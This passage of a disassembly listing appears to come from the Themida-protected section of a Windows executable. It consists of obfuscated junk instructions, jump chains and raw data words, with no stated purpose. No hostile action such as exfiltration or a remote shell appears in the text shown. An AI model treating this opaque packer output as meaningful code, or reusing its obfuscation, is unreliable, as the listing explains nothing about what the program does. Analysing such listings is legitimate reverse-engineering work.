0C126C764h, 0D9E906E5h, 4500000Ah, 2A10E9h dd 0C6815800h, 0F4AA1754h, 47EBEF81h, 0F7295DFFh, 47EBC781h dd 15E5DFFh, 28C781EFh, 8B67A025h, 8950242Ch, 405E0h, 4050000h dd 0E9000000h, 0FFFFAFB1h ; --------------------------------------------------------------------------- loc_562C00: ; CODE XREF: Themida_:00562998j add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_5575F2 ; --------------------------------------------------------------------------- dd 8B2434FFh, 0C4832404h, 4956804h, 34890000h, 83E68924h dd 3C8904ECh, 4BF24h, 0EE810000h, 3DCE77FFh, 0BF57FE01h dd 60650D16h, 3489E781h, 0DFF75592h, 9DE9EFD1h, 100003Bh dd 4EEB81EBh, 5D7B8920h, 8B241C87h, 0C8842424h, 0C600E99Ch dd 0C15DFFFFh, 0CCE904E8h, 59FFFF54h, 2DCDE9h db 0 ; --------------------------------------------------------------------------- loc_562C75: ; CODE XREF: Themida_:0056097Ej mov esi, 1 push 69BEh mov [esp], eax push esi push 7D0E34C5h jmp loc_56285B ; --------------------------------------------------------------------------- aPirs db 'P‰àéÇ',1Bh,0 dd 4CF58100h, 31409C5Eh, 35D6E9EBh, 8B660000h, 0CA68240Ch dd 89000059h, 0EC81243Ch, 4, 24048F54h, 4B951h, 6C810000h dd 77B0424h, 4C010D3Eh, 44810424h, 77B0424h, 6E90D3Eh dd 8B000015h, 0C4832414h, 59C80004h, 0FF102DE9h, 2A730DFFh dd 0F79235E5h, 0E8D192D2h, 6F1DBF57h, 0E7811D04h, 1430186Fh dd 55E9D7F7h db 3Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_562D03: ; CODE XREF: Themida_:005577AAj add bh, 1Dh jmp loc_55E346 ; --------------------------------------------------------------------------- db 81h dd 0D45638EBh, 0BAC3810Bh, 17A4B6Fh, 0B8B850C3h, 0C105C35Ch dd 0D8F705E0h, 85672925h, 0EBA0543h, 0C38136C7h, 18EA4219h dd 0FFA4FBE9h, 0C895CFFh, 65A66824h, 0E9594E4Dh, 3FBCh dd 1C4066B8h, 494C2D40h, 10D016Bh, 5273371h, 5C2D07A5h dd 0FF24F6E9h, 0A6E95DFFh, 5B00003Bh, 148BD029h, 4C48124h dd 0E9000000h, 3671h, 0E92434FFh, 0FFFF5ABCh ; --------------------------------------------------------------------------- loc_562D80: ; CODE XREF: Themida_:00562185j add ebx, 4 jmp loc_55F469 ; --------------------------------------------------------------------------- dd 0D188C181h, 67E98DF5h, 81000044h, 4C4h, 12DEE900h, 0C1FE0000h dd 507AE980h, 0C13069B0h, 7E56E958h, 0E189FFFFh, 4C181h dd 0C1810000h, 4, 5C240C87h, 8957F800h, 10E0E9E7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_562DCA: ; CODE XREF: Themida_:0056609Dj pop ebx add ebp, edi pop edi mov esi, [esp] jmp loc_55EDA6 ; --------------------------------------------------------------------------- dw 3C89h dd 0E3B2E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562DDE: ; CODE XREF: Themida_:00564C70j push edi mov edi, 18575618h sub edi, 788A7CA0h sub edi, 6693793Ch neg edi not edi jmp loc_55AFF1 ; --------------------------------------------------------------------------- db 81h, 0EAh, 0C1h dd 4A3E9313h, 0A0ECBB53h, 0DA298A41h, 0D8E0E95Bh, 67BBFFFFh dd 8151847Dh, 439BBE3h, 1FEB8154h, 1500439h, 0EA835BDAh dd 24143304h, 33241431h, 0D1E92414h, 56FFFFE2h, 0F04D1EBEh dd 0E9F12979h, 0FFFF1FEDh, 4BF57h, 78E90000h db 17h, 2 dup(0) ; --------------------------------------------------------------------------- loc_562E4B: ; CODE XREF: Themida_:00563A98j mov bl, 30h jmp loc_55B0CA ; --------------------------------------------------------------------------- dw 348Bh dd 4C48324h, 242FEF81h, 0C7816A48h, 5515049Ah, 0EF81DF01h dd 5515049Ah, 0FF77CAE9h, 0F0BE56FFh, 813A4F18h, 0E37DB4CEh dd 3BF68171h, 0C1618037h, 0D6F707E6h, 0FFAA67E9h db 0FFh ; --------------------------------------------------------------------------- loc_562E8D: ; CODE XREF: Themida_:00560EDAj pop ebp sub ebx, ebp add ebx, 6D4806C3h add ebx, 3D8C015Dh push 4697h mov [esp], eax mov eax, 52FC4C18h sub ebx, 3474356Fh jmp loc_55BF21 ; --------------------------------------------------------------------------- dd 81DAF74Ah, 7F635FF2h, 0C4F28102h, 29EBB855h, 0EE295AD5h dd 0E9FE015Dh, 0FFFFEF83h ; --------------------------------------------------------------------------- loc_562ED0: ; CODE XREF: Themida_:0056029Aj dec eax sub eax, 13692398h xor ebp, eax pop eax shl ebp, 1 sub ebp, 34188E19h jmp loc_564EB5 ; --------------------------------------------------------------------------- dw 0C159h dd 0C18106E1h, 4E32655Fh, 34FFCB31h, 8CE95924h, 51FFFF1Ch dd 0EB8827B5h, 86D3F659h, 86DDF6EBh, 0BEE380EBh, 4EC81h dd 14890000h, 66CAB624h, 5E9E953h, 0DF01FFFFh, 88DEF81h dd 0D6E95E2Dh, 81000056h, 4C2h, 24143300h, 0E9241431h dd 0FFFF459Dh, 5A241CF6h, 8084B551h, 0C580FFC5h, 27F580DCh dd 5366D5F6h, 0ED80D9B3h, 0B8B3E993h, 0E801FFFFh, 0FDE9575Dh db 31h, 2 dup(0) ; --------------------------------------------------------------------------- loc_562F63: ; CODE XREF: Themida_:00555CF7j pop ebp push 50DFh jmp loc_553AA5 ; --------------------------------------------------------------------------- dw 0E689h dd 4C681h, 0C0E90000h, 0BDFFFF24h, 43E9629Eh, 170DC581h dd 0AFE91BBAh db 16h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562F8B: ; CODE XREF: Themida_:0056194Fj xor bl, 0BDh add bl, 0B3h neg bl jmp loc_55E95E ; --------------------------------------------------------------------------- dd 0C181E189h, 4, 4C181h, 0C330000h, 240C3124h, 0E9240C33h dd 3731h ; --------------------------------------------------------------------------- loc_562FB4: ; CODE XREF: Themida_:005647E1j pop edx mov edx, esi pop esi inc edx add edx, 1 jmp loc_557A5B ; --------------------------------------------------------------------------- loc_562FC1: ; CODE XREF: Themida_:00559C58j pop cx add al, dl jmp loc_565707 ; --------------------------------------------------------------------------- dw 481h dd 5A423C24h, 4EC8313h, 0B9240C89h, 284E4403h, 4244481h dd 73CC5044h, 4244C29h, 4246C81h, 73CC5044h, 0B8505359h dd 13F22F5Fh, 5E8C140h, 2CE6CA35h, 58C3890Eh, 0FF674AE9h dd 678D68FFh, 2C890000h, 3E30E924h, 0D0F60000h, 0FFC7B3E9h db 0FFh ; --------------------------------------------------------------------------- loc_56301D: ; CODE XREF: Themida_:00555C1Dj push edi push dword ptr [esp] pop eax push esi jmp loc_564EC2 ; --------------------------------------------------------------------------- dd 0DFF7E958h, 0EC83FFFFh, 24348904h, 53BE9h db 0 ; --------------------------------------------------------------------------- loc_563039: ; CODE XREF: Themida_:0056859Bj pop edi or edx, ecx jmp loc_55BB57 ; --------------------------------------------------------------------------- db 55h, 0E9h, 0B0h dd 28FFFF55h, 372C5AF0h, 1CE9832Ch, 56FFFFB1h, 4AD4E9h db 0 ; --------------------------------------------------------------------------- loc_563059: ; CODE XREF: Themida_:0056827Ej sub ecx, edx pop edx sub ecx, 13EC1E91h push dword ptr [esp] pop edx add esp, 4 dec ecx not ecx push edx mov edx, 4C239F73h add ecx, 201178A1h add ecx, edx jmp loc_564ED5 ; --------------------------------------------------------------------------- dw 2BBh dd 1000000h, 22685BDFh, 89000024h, 74FF243Ch, 34FF0424h dd 243C8B24h, 4C481h, 54570000h, 769685Fh, 14890000h, 677ABA24h dd 50E95C82h, 89FFFFE5h, 0BE662434h, 0C1662535h, 0C16603EEh dd 4E6602E6h, 81664E66h, 667635E6h, 5E68C681h, 81E68956h dd 4C6h, 4EE8100h, 0E9000000h, 0FFFF9531h, 56CDE957h, 0E0C10000h dd 68630D03h, 9C356004h, 8952937Fh, 0E94F58C7h, 0FFFF6E90h ; --------------------------------------------------------------------------- loc_563104: ; CODE XREF: Themida_:00555F7Ej pop ebp sub ebp, 0B63B16Eh sub edx, 3FFB7CE5h sub edx, ebp add edx, 3FFB7CE5h pop ebp shl edx, 5 push ebp mov ebp, 76F14161h not ebp shl ebp, 6 sub ebp, 2C7447FEh xor edx, ebp pop ebp and edx, 79F116D9h push ebp jmp loc_5576E5 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 8A000000h, 88042454h, 0E9042464h, 0FFFF18E0h, 0E9242C89h dd 0FFFF2B0Bh, 0E9526659h, 0FFFF534Ch, 0E9241489h, 0FFFFC65Ah dd 8BD5315Eh, 0C4812414h, 4, 65FFE953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56317A: ; CODE XREF: Themida_:005575AEj push 2F6Dh mov [esp], eax push ebx mov ebx, esp push edx mov edx, 21213812h add edx, 19492AD0h and edx, 49DF4054h shr edx, 5 shl edx, 4 inc edx xor edx, 4252025h add ebx, edx jmp loc_55EA10 ; --------------------------------------------------------------------------- db 66h dd 354DC381h, 66C30166h, 354DEB81h, 17C38166h, 0E956665Ch dd 0FFFFA2B9h, 0E924248Bh, 0FFFEFED9h, 24048B66h, 8904EC83h dd 6968243Ch, 8900003Fh, 4832424h, 3C8B0424h, 4C48324h dd 608768h, 0FF5EE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5631F2: ; CODE XREF: Themida_:00553970j mov ebp, 353F6D65h add ebp, 0D13BE279h push ebp push ecx mov ecx, 6D1C1899h xor [esp+4], ecx pop ecx mov ebx, [esp] add esp, 4 jmp loc_55ED3B ; --------------------------------------------------------------------------- db 87h dd 248B240Ch, 1E36824h, 0DCE90000h db 5Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563227: ; CODE XREF: Themida_:00560C57j mov [esp], edx mov edx, 2EC956D4h add [esp+8], edx jmp loc_56070A ; --------------------------------------------------------------------------- dd 4C481h, 5050000h, 127505Ch, 5C052DF8h, 4EE92750h db 24h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56324F: ; CODE XREF: Themida_:0055EF88j sub ebp, edi pop edi add ebp, 10B7A11h add ebp, 0C07C1B2Eh xor ecx, ebp pop ebp xor ecx, 0D25FBEB5h and eax, ecx pop ecx or eax, eax jz loc_553F67 push 0F2Bh mov [esp], eax push 1Ch push dword ptr [esp] pop eax push 747Eh mov [esp], eax push esp pop eax jmp loc_568D3C ; --------------------------------------------------------------------------- dw 0C383h dd 241C8704h, 4EC815Ch, 89000000h, 0EC832404h, 24148904h dd 0C680C6B6h, 51DEF601h, 0EE00FDB5h, 5AF08859h, 0E967B551h dd 36F8h, 8B241433h, 1C892424h, 0ACE95524h, 5CFFFFFCh dd 31242C33h, 2C33242Ch, 24248B24h, 24048B66h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub esp, 4 mov [esp], ecx push esp jmp loc_555E0B ; --------------------------------------------------------------------------- db 0B8h, 0B0h, 8 dd 0EBE97409h, 8BFFFF4Ch, 79E9242Ch, 8B000012h, 8B662424h dd 4A682404h, 89000079h, 5A542414h, 0AD685750h, 8B100136h dd 0C483243Ch, 5E7C104h, 0FF8C40E9h, 0FF5450FFh, 0E9582434h dd 0FFFFAD11h, 2434FF54h, 0FF7D11E9h, 24248BFFh, 0E9E1F766h dd 0FFFF37A3h, 0DB2D3605h, 9C10E920h, 0CBBBFFFFh, 894AD670h dd 0C7815BDFh, 0C76ED254h, 0A7E9FA09h db 8Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56336B: ; CODE XREF: Themida_:0055A191j pop ebp sub edi, ebx pop ebx push edi jmp loc_55510D ; --------------------------------------------------------------------------- loc_563375: ; CODE XREF: Themida_:005548C7j push esi push edx push 79BC2C44h pop edx jmp loc_567C9C ; --------------------------------------------------------------------------- aIusg? db 'ˆãéƒ?',0 dd 568FBB00h, 0EB815CF4h, 4FA540F9h, 0EB81D3F7h, 68F27BC1h dd 0FF73DDE9h, 240C8BFFh, 4C481h, 89510000h, 4EC81E1h dd 89000000h, 4BA2414h, 0E9000000h, 0D95h ; --------------------------------------------------------------------------- loc_5633C0: ; CODE XREF: Themida_:00556E6Aj add dword ptr [esp], 4 jmp loc_5687F3 ; --------------------------------------------------------------------------- loc_5633CC: ; CODE XREF: Themida_:00565985j sub ebp, 81D6646Fh jmp loc_565F89 ; --------------------------------------------------------------------------- db 0ACh dd 585B6866h, 240C8966h, 1460E9h db 0 ; --------------------------------------------------------------------------- loc_5633E5: ; CODE XREF: Themida_:0056219Aj xor ecx, edi pop edi jmp loc_5683B0 ; --------------------------------------------------------------------------- db 54h, 5Fh, 81h dd 4C7h, 4EC8300h, 55243489h, 0FF6164E9h, 0C6BA52FFh, 0F71EC163h dd 93F281D2h, 538819E8h, 0FFCAFDE9h db 0FFh ; --------------------------------------------------------------------------- loc_563415: ; CODE XREF: Themida_:00554DCDj add edi, 711BF5DFh sub ebx, edi pop edi push ecx mov ecx, 1C3F597Bh inc ecx sub ecx, 0A73BE3B8h sub ebx, ecx pop ecx jmp loc_558E5F ; --------------------------------------------------------------------------- db 87h dd 895C2434h, 9DE9240Ch db 21h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56343F: ; CODE XREF: Themida_:0055B866j push 5801h mov [esp], edx sub esp, 4 mov [esp], ebp push 0F85279Eh jmp loc_5600EE ; --------------------------------------------------------------------------- dw 2C89h dd 1CBEE924h, 0E9520000h, 43Dh, 347DEB81h, 515D73DCh, 2531E9h db 0 ; --------------------------------------------------------------------------- loc_563475: ; CODE XREF: Themida_:005530B5j sub dh, ah mov eax, [esp] jmp loc_559D68 ; --------------------------------------------------------------------------- db 81h dd 0FF215BC1h, 3286E912h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56348A: ; CODE XREF: Themida_:00556258j mov esi, 46B3129Ch jmp loc_553519 ; --------------------------------------------------------------------------- dd 0F65BDD00h, 53FD86D5h, 12454F6h, 30FD305Bh, 80FD30EFh dd 5366ACE5h, 0DD0047B3h, 61045B66h, 612CE828h, 83240C8Bh dd 0B2C04C4h, 0D800632Ch, 0B046304h, 44E95366h db 97h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5634CF: ; CODE XREF: Themida_:0056435Bj add esp, 4 push dword ptr [esp] jmp loc_563E3C ; --------------------------------------------------------------------------- db 0BBh, 1, 13h dd 44815601h, 239E0424h, 77E93F8Bh, 5AFFFFA4h, 81E18951h dd 4C1h, 4E98100h, 33000000h, 0C31240Ch, 240C3324h, 0FF3996E9h dd 0C8015BFFh, 0FF03A4E9h db 0FFh ; --------------------------------------------------------------------------- loc_563515: ; CODE XREF: Themida_:0055F17Bj mov [esp], edi mov edi, 180D4F22h mov edx, 180D4F26h sub edx, edi jmp loc_567F61 ; --------------------------------------------------------------------------- loc_563529: ; CODE XREF: Themida_:0055A654j add ebp, ecx pop ecx push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp xor ecx, 6240489Fh and eax, ecx mov ecx, [esp] jmp loc_557E6F ; --------------------------------------------------------------------------- loc_563546: ; CODE XREF: Themida_:005536D9j add ecx, 0A47DD985h add ebp, 6A7576F4h add ebp, ecx jmp loc_55672F ; --------------------------------------------------------------------------- db 50h, 0B4h, 0A4h dd 0EC80D4F6h, 0DDE48069h, 80FFEC80h, 0E32828C4h, 0E9C32858h dd 0FFFF2190h, 3D0A04BEh, 4ED6F70Ch, 0E905EEC1h, 436Bh ; --------------------------------------------------------------------------- loc_563584: ; CODE XREF: Themida_:005658A7j jnz loc_559F74 push 5ECBh jmp loc_55DD3D ; --------------------------------------------------------------------------- loc_563594: ; CODE XREF: Themida_:0055AD5Aj sub ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp mov [esp], ebx jmp loc_561B28 ; --------------------------------------------------------------------------- dd 0B652E828h, 0FAEE8042h, 0C0C3CE80h, 0C6FE06E6h, 8003EEC0h dd 0C680E3F6h, 76F6800Ch, 0C680CEFEh, 0D03E97Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5635D2: ; CODE XREF: Themida_:00561DBFj add edi, ebp push esi mov esi, 2FD8397Bh inc esi xor esi, 7DED365Bh or esi, 7EE6491Ah jmp loc_5585CD ; --------------------------------------------------------------------------- dd 68h, 2A47E900h, 0C681FFFFh, 419A0108h, 37F5BD55h, 0EE0948D5h dd 58D8E95Dh, 814DFFFFh, 1E1455EDh, 0F007E975h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563616: ; CODE XREF: Themida_:00553F23j mov edx, 74E91729h jmp loc_556353 ; --------------------------------------------------------------------------- aIISsc db '‰Í‰êé™C',0 dd 7A686600h, 0C896650h, 0B60F6624h, 9C5166C8h, 0FEFA68E9h dd 55E189FFh, 2310BB53h, 0F4BD782Bh, 0E987D4DCh, 0FFFF2ACFh dd 6D096853h, 14890000h, 8626E924h, 0D9F6FFFFh, 28B75366h dd 0FF4652E9h db 0FFh ; --------------------------------------------------------------------------- loc_563669: ; CODE XREF: Themida_:005617BEj push esi inc dword ptr [esp] jmp loc_564AC0 ; --------------------------------------------------------------------------- loc_563672: ; CODE XREF: Themida_:00565E9Dj sub esi, ebp pop ebp add ecx, esi jmp loc_563FB6 ; --------------------------------------------------------------------------- dd 0E9240489h, 0FFFFD3DCh ; --------------------------------------------------------------------------- loc_563684: ; CODE XREF: Themida_:005554A6j mov edi, 20AF0AE0h jmp loc_5638DC ; --------------------------------------------------------------------------- loc_56368E: ; CODE XREF: Themida_:00555978j xchg ebp, [esp] pop esp sub esp, 4 mov [esp], ebp jmp loc_557D87 ; --------------------------------------------------------------------------- dd 92C5814Dh, 2942B1EDh, 0BA525DEEh, 62D25D2Fh, 2414F752h dd 48E9505Ah db 98h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5636BB: ; CODE XREF: Themida_:0055E77Ej push esi mov esi, 49673F95h jmp loc_55D67B ; --------------------------------------------------------------------------- loc_5636C6: ; CODE XREF: Themida_:0055BCB0j mov [esp], ebp mov ebp, 0A65488A3h xor esi, ebp pop ebp or ecx, esi pop esi shl ecx, 3 sub esp, 4 mov [esp], ebp mov ebp, 757E45D5h jmp loc_566708 ; --------------------------------------------------------------------------- db 66h dd 0E924248Bh, 0FFFEF9B5h, 9D1C77FFh, 1CD25966h, 0ADE99C24h dd 1FFFFB2h, 0B2EA81EAh, 5D3DDC09h, 8B241487h, 30FF2424h dd 0FEF990E9h db 0FFh ; --------------------------------------------------------------------------- loc_563715: ; CODE XREF: Themida_:0055402Fj pop edx add edx, 4 push ebp mov ebp, 4 sub edx, 15371617h jmp loc_55E2AA ; --------------------------------------------------------------------------- loc_56372D: ; CODE XREF: Themida_:0055B29Ej push 28h pop ebx add ebx, 50462BF4h add ebx, edi jmp loc_563DE8 ; --------------------------------------------------------------------------- dd 4240481h, 0E9000000h, 1040h, 2C3815Eh, 81700956h, 6BEC1EEBh dd 0E78CE9FCh, 74FFFFFFh, 3C8B0424h, 4C48324h, 31E3E9h db 0 ; --------------------------------------------------------------------------- loc_56376D: ; CODE XREF: Themida_:00568B54j push ebp jmp loc_55575B ; --------------------------------------------------------------------------- db 66h dd 0E92BB151h, 0FFFF1D4Ah ; --------------------------------------------------------------------------- loc_56377C: ; CODE XREF: Themida_:0055F796j add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] jmp loc_55F945 ; --------------------------------------------------------------------------- db 5Eh, 5Fh, 55h dd 946ED4BDh, 39A5E918h, 0E950FFFFh, 24C1h, 81242489h dd 42404h, 685B0000h, 6F31h, 83243C89h, 148904ECh, 458BA24h dd 0C2814F20h, 797F0E48h, 0F705E2C1h, 0FBEA81D2h, 89EC1DABh dd 0FB015AD7h, 0FFA729E9h, 8B665AFFh, 0C4812404h, 2, 308AB450h dd 23E8E9E3h, 0C009FFFFh, 44F3840Fh, 22680000h, 8900007Ah dd 0F968241Ch, 8900007Ah, 41E9242Ch, 81FFFF61h, 292830EAh dd 1D99E97Dh, 82E90000h db 0F8h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_563823: ; CODE XREF: Themida_:0056636Aj xor dl, bl jmp loc_55E024 ; --------------------------------------------------------------------------- dw 5954h dd 0AD41E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563832: ; CODE XREF: Themida_:00557D82j xchg ebx, edx sub edx, 59874D41h mov ecx, edx pop edx xchg edx, ecx not edx xchg edx, ecx shr ecx, 2 inc ecx push eax jmp loc_55929B ; --------------------------------------------------------------------------- db 66h, 0Fh, 0B6h dd 59C56802h, 4890000h, 339F6824h, 2C890000h, 815D5424h dd 4C5h, 5027E900h, 0C383FFFFh, 5DC6E904h, 2AE9FFFFh, 53FFFEF8h dd 42474FFh, 5B2434FFh, 0E904C483h, 309Fh, 5A2434FFh, 8104C483h dd 4C4h, 24048F00h, 0F9F7665Ch, 328EE9h, 81E28900h, 4C2h dd 2EA8100h, 87000000h, 89E92414h, 81FFFF30h, 4C4h, 0ACA2E900h dd 1C89FFFFh, 73056824h, 0F75B6A08h, 0D2E381D3h, 0E9311722h dd 2FBAh ; --------------------------------------------------------------------------- loc_5638DC: ; CODE XREF: Themida_:00563689j add edi, ebx push dword ptr [esp] pop ebx add esp, 4 add dword ptr [esp+4], 7F80595Bh add dword ptr [esp+4], 76E452FDh sub [esp+4], edi sub dword ptr [esp+4], 76E452FDh sub dword ptr [esp+4], 7F80595Bh pop edi push 4DC2h mov [esp], eax mov eax, 5A170BC7h add [esp+4], eax mov eax, [esp] add esp, 4 add dword ptr [esp], 86113E1h sub [esp], eax jmp loc_555011 ; --------------------------------------------------------------------------- dw 0BF57h dd 5F1A6EAFh, 17E2C281h, 0FA297A42h, 17E2EA81h, 15F7A42h dd 0AFC281DAh, 8B5F1A6Eh db 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push edx mov edx, 4 add ebp, edx pop edx push 4735h jmp loc_562798 ; --------------------------------------------------------------------------- dw 0B951h dd 68672205h, 0A9A1D7BDh, 5147E9C0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563982: ; CODE XREF: Themida_:005679FEj push ebp mov ebp, 3D8C015Dh sub ebx, ebp mov ebp, [esp] push ebx jmp loc_56217D ; --------------------------------------------------------------------------- db 31h dd 240C8BCBh, 328DE9h, 52575500h, 6714BB53h, 0E94B41F6h dd 0FFFF4A62h, 4C2835Eh, 31241433h, 14332414h, 24248B24h dd 0FEF6E4E9h, 0E9E289FFh, 0FFFF917Eh, 1E7BEA81h, 0E4E9634Fh dd 53FFFF50h, 0E4E9E389h, 1FFFF51h, 76942DF8h, 0BF573AFDh dd 3BE010EFh, 2704C781h, 33E962C5h, 100004Eh, 0E5E955C2h db 2Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5639FB: ; CODE XREF: Themida_:00558385j push esi jmp loc_553C35 ; --------------------------------------------------------------------------- db 2Ch, 1Dh, 4 dd 0E9D800ABh, 28D8h ; --------------------------------------------------------------------------- loc_563A0C: ; CODE XREF: Themida_:0056731Ej mov esi, 1 jmp loc_55DC98 ; --------------------------------------------------------------------------- loc_563A16: ; CODE XREF: Themida_:00560780j mov [esp], ebp push 181h jmp loc_5600D5 ; --------------------------------------------------------------------------- db 81h dd 1B28D4C3h, 0CFDFE958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563A2E: ; CODE XREF: Themida_:0055A127j shl dl, 4 push eax mov al, 2Ah dec al shr al, 4 or al, 0EBh and al, 2Ah sub al, 83h and dl, al mov eax, [esp] add esp, 4 push ecx jmp loc_55EF8D ; --------------------------------------------------------------------------- a_LBl db '_)L$',8,'l$',8,'Ñ(',0 dd 8A63E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563A62: ; CODE XREF: Themida_:00564FFDj mov esp, [esp] or [esp], ax pushf jmp loc_5530A5 ; --------------------------------------------------------------------------- aYssef db 'YSéEF',0 align 2 dw 6855h dd 525639F6h, 7E5C15Dh, 0FAFCED81h, 0A2E92B1Ch db 38h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563A8B: ; CODE XREF: Themida_:00554EC2j add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_562E4B ; --------------------------------------------------------------------------- db 0F6h, 0D1h, 0FEh aAsd db 'É€é„',0 db 0C8h, 0E9h, 3Bh dd 83FFFF52h, 0C38104C4h, 4, 4313BA52h, 0EAC16E62h, 81D2F702h dd 9890C9C2h, 0FFD3011Bh, 835A2434h, 0EC8104C4h, 4, 0FF241C89h dd 0E9042474h, 0FFFF35D5h, 0FFFFC781h, 0E7C1FFFFh, 7DC78107h dd 8166E52Eh, 23C179F7h, 8BFA0116h, 0C483243Ch, 4382E904h dd 8BBEFFFFh, 8167F85Ah, 7A579C6h, 5EF50198h, 5E3968h dd 240C8900h, 0E56EC868h, 40E95939h, 89FFFFDFh, 4C581E5h dd 81000000h, 4EDh, 9A52E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563B36: ; CODE XREF: Themida_:005592CCj pop eax add ecx, esi mov esi, [esp] add esp, 4 sub esp, 4 jmp loc_5588D0 ; --------------------------------------------------------------------------- dw 0C8Bh dd 4C48124h, 5B000000h, 0C8E96CB3h db 0B6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563B5B: ; CODE XREF: Themida_:005581F3j push ecx push edx mov edx, 74186E58h mov ecx, 0FDD7A2D6h add ecx, edx pop edx dec ecx push edx mov edx, 64D0336Ah sub edx, 3F03C130h add ecx, 13EC1E91h add ecx, 5683D2Eh sub ecx, 4962839h sub ecx, edx add ecx, 4962839h push edx jmp loc_55727B ; --------------------------------------------------------------------------- db 50h dd 0FC80E99Ch, 0E1C1FFFFh, 22C18106h, 0C1651B2Eh, 0E9C108E9h dd 258CE908h, 74FFFFFFh, 8F5D0424h, 248B2404h, 24042024h dd 93BAE99Ch, 489FFFFh, 21A5B824h, 0D0F75AB0h, 500DD0F7h dd 0C17CF649h, 353505E8h, 290A88C1h, 4441E9C3h, 465BFFFFh dd 8A8AC681h, 0F001DFD4h, 5724348Bh, 11E9E789h, 1000012h dd 0CB83E9C6h, 0F181FFFFh, 2B553A39h, 0C8BCE89h, 59F6E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563C12: ; CODE XREF: Themida_:00568BB8j add ebx, 747701D0h push ebp push 30AAh mov [esp], eax mov eax, 4ED41702h xor eax, 1AD41DCEh sub eax, 32690B90h push 1EB5h jmp loc_55BCE6 ; --------------------------------------------------------------------------- dw 5A54h dd 4C281h, 0E9550000h, 0FFFF8866h, 0E924048Fh, 0FFFF4D3Ch dd 240C8B66h, 34FF5456h, 89505E24h, 405E0h, 0C0830000h dd 24048704h, 0FFCABFE9h, 0A9EE81FFh, 111EF70h, 0CCD7E9D6h dd 0FB29FFFFh, 0FF773AE9h, 76E941FFh db 34h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563C87: ; CODE XREF: Themida_:0055CC20j xor ebp, edx pop edx push 3393h mov [esp], ebp xor dword ptr [esp], 4142430h mov eax, [esp] add esp, 4 jmp loc_55BB02 ; --------------------------------------------------------------------------- db 31h dd 0A1E959CDh, 81FFFF3Ah, 4C6h, 4EE8100h, 0E9000000h, 4A33h ; --------------------------------------------------------------------------- loc_563CC0: ; CODE XREF: Themida_:00562A23j mov edx, esp add edx, 4 jmp loc_555CE4 ; --------------------------------------------------------------------------- db 0BDh, 2, 0 dd 0E9010000h, 52242C8Bh, 0FFA415E9h, 4C483FFh, 5C240C87h dd 68C8B60Fh, 4E8Bh, 0E9240C89h, 0FFFEF3B1h, 81243C8Bh dd 4C4h, 4BB5300h, 1000000h, 241C8BDFh, 0FF4FAFE9h, 5EF789FFh dd 0EB07BCBDh, 4FAE93Ch, 1C87FFFFh, 4895C24h, 4BF5724h dd 53000000h, 89E9FB89h, 83FFFF58h, 48704C0h, 6AE95C24h dd 89FFFEF3h, 76EEE9E3h, 0E95FFFFFh, 0FFFFA52Fh, 9D1C77FFh dd 1CD35966h, 4EE99C24h, 8BFFFEF3h db 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_5576F5 ; --------------------------------------------------------------------------- dw 0DAF7h dd 7944BB53h, 53E90DFAh, 28FFFFCAh, 8FB5E9C8h, 5095FFFFh dd 58240CFFh, 33ED8195h, 50FD07A8h, 89128AB8h, 0A0C58157h dd 292DC362h, 0A0ED81C5h, 582DC362h, 0FF6489E9h, 242C8BFFh dd 0F704C483h, 10F281D2h, 0E91BBEF6h, 0FFFF09C1h, 5305E7C1h dd 480C5BBBh, 5BDF212Fh, 8107E7C1h, 40004F7h, 8BFB0180h dd 5451243Ch, 0E9240C8Bh, 0FFFF2B2Ch, 4200E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_563DDA: ; CODE XREF: Themida_:0055F3ABj push edi mov edi, 57813FF8h shr edi, 6 jmp loc_560C77 ; --------------------------------------------------------------------------- loc_563DE8: ; CODE XREF: Themida_:0056373Bj sub ebx, 50462BF4h push dword ptr [ebx] push edx push 89C2C96h push dword ptr [esp] pop edx add esp, 4 sub [esp+4], edx pop edx pop eax jmp loc_564007 ; --------------------------------------------------------------------------- a1Hsb db '1ØhèB',0 align 2 dw 0C89h dd 182A6824h, 0C7E90000h, 89FFFEFBh, 4C581E5h, 81000000h dd 4C5h, 242C8700h, 1567E95Ch, 0E950FFFFh, 49A3h ; --------------------------------------------------------------------------- loc_563E3C: ; CODE XREF: Themida_:005634D8j pop ecx add esp, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_55E5F1 ; --------------------------------------------------------------------------- db 0B2h, 63h, 80h 